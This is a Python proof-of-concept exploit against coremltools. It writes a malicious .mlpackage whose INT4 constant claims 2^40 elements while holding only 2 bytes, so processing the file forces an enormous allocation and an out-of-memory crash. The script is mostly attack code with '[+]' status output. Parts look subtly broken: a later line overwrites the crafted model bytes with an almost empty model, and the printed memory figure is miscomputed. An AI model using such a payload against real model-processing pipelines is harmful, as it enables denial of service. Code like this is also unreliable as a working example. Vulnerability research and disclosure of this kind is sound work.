| """ |
| CoreML CWE-789: Unbounded Allocation via np.prod(shape) in _restore_np_from_bytes_value |
| ======================================================================================== |
| Target: coremltools (ct.optimize.coreml.linear_quantize_weights) |
| File: coremltools/converters/mil/frontend/milproto/load.py:165 |
| Finding: element_num = np.prod(shape) — shape fully attacker-controlled from .mlpackage. |
| For sub-byte dtype (INT4), restore_elements_from_packed_bits allocates |
| element_num elements from a tiny input buffer → massive allocation → OOM DoS. |
| |
| This script builds /tmp/evil.mlpackage containing: |
| - A const op with INT4 dtype, shape [2^40, 1] (1 trillion elements) |
| - Only 2 bytes of actual data |
| - Triggers: ct.optimize.coreml.linear_quantize_weights(mlmodel, config) |
| |
| Vulnerable code (load.py:155-163): |
| def _restore_np_from_bytes_value(value: bytes, dtype, shape): |
| result = np.frombuffer(value, types.nptype_from_builtin(dtype)) |
| nbits = dtype.get_bitwidth() |
| element_num = np.prod(shape) # ← ATTACKER CONTROLLED, no cap |
| return optimize_utils.restore_elements_from_packed_bits( |
| result, nbits, element_num, ...) # allocates element_num elements |
| .reshape(shape) |
| """ |
|
|
| import os, sys, json |
|
|
| def build(): |
| import coremltools as ct |
| from coremltools.proto import Model_pb2, MIL_pb2 |
|
|
| DIM = 2**40 |
|
|
| |
| m = Model_pb2.Model() |
| m.specificationVersion = 7 |
|
|
| prog = m.mlProgram |
| prog.version = 1 |
|
|
| |
| from coremltools.converters.mil import Builder as mb |
| from coremltools.converters.mil.mil import types as mil_types |
|
|
| @mb.program(input_specs=[mb.TensorSpec(shape=(1,), dtype=mil_types.fp32)]) |
| def prog(x): |
| |
| w = mb.const(val=__import__('numpy').array([1.0, 2.0, 3.0, 4.0], dtype='float32'), name='evil_weight') |
| return w |
|
|
| import coremltools as ct |
| model = ct.convert(prog, minimum_deployment_target=ct.target.iOS16) |
| spec = model.get_spec() |
|
|
| |
| mlprog = spec.mlProgram |
| func = mlprog.functions['main'] |
| block_key = list(func.block_specializations.keys())[0] |
| block = func.block_specializations[block_key] |
|
|
| for op in block.operations: |
| if op.type == 'const': |
| for out in op.outputs: |
| if out.name == 'evil_weight': |
| |
| tt = out.type.tensorType |
| tt.dataType = MIL_pb2.INT4 |
| tt.rank = 2 |
| del tt.dimensions[:] |
| d1 = tt.dimensions.add(); d1.constant.size = DIM |
| d2 = tt.dimensions.add(); d2.constant.size = 1 |
|
|
| |
| val = op.attributes['val'] |
| val.type.CopyFrom(out.type) |
| val.ClearField('immediateValue') |
| val.immediateValue.tensor.bytes.values = b'\xab\xcd' |
| break |
|
|
| model_bytes = spec.SerializeToString() |
|
|
| |
| model_bytes = m.SerializeToString() |
|
|
| |
| pkg = '/tmp/evil.mlpackage' |
| model_dir = os.path.join(pkg, 'Data', 'com.apple.CoreML') |
| os.makedirs(model_dir, exist_ok=True) |
|
|
| with open(os.path.join(model_dir, 'model.mlmodel'), 'wb') as f: |
| f.write(model_bytes) |
|
|
| |
| manifest = { |
| 'itemDescriptionVersion': '1.0', |
| 'items': [{ |
| 'author': 'com.apple.coremltools', |
| 'description': 'Model', |
| 'name': 'model.mlmodel', |
| 'path': 'Data/com.apple.CoreML/model.mlmodel', |
| 'type': 'com.apple.CoreML.model' |
| }] |
| } |
| with open(os.path.join(pkg, 'manifest.json'), 'w') as f: |
| json.dump(manifest, f) |
|
|
| print(f"[+] coremltools version: {ct.__version__}") |
| print(f"[+] evil.mlpackage built at: {pkg}") |
| print(f"[+] model.mlmodel size: {len(model_bytes)} bytes") |
| print(f"[+] Const shape: [{DIM}, 1] = {DIM:,} INT4 elements") |
| print(f"[+] Actual data: 2 bytes (4 INT4 values)") |
| print(f"[+] element_num in exploit: {DIM:,} (= 2^40)") |
| print(f"[+] Required allocation: ~{DIM // (1024**3 // 1):.0f} GB") |
|
|
| if __name__ == '__main__': |
| try: |
| build() |
| except Exception as e: |
| import traceback |
| print(f"[-] Error: {e}") |
| traceback.print_exc() |
|
|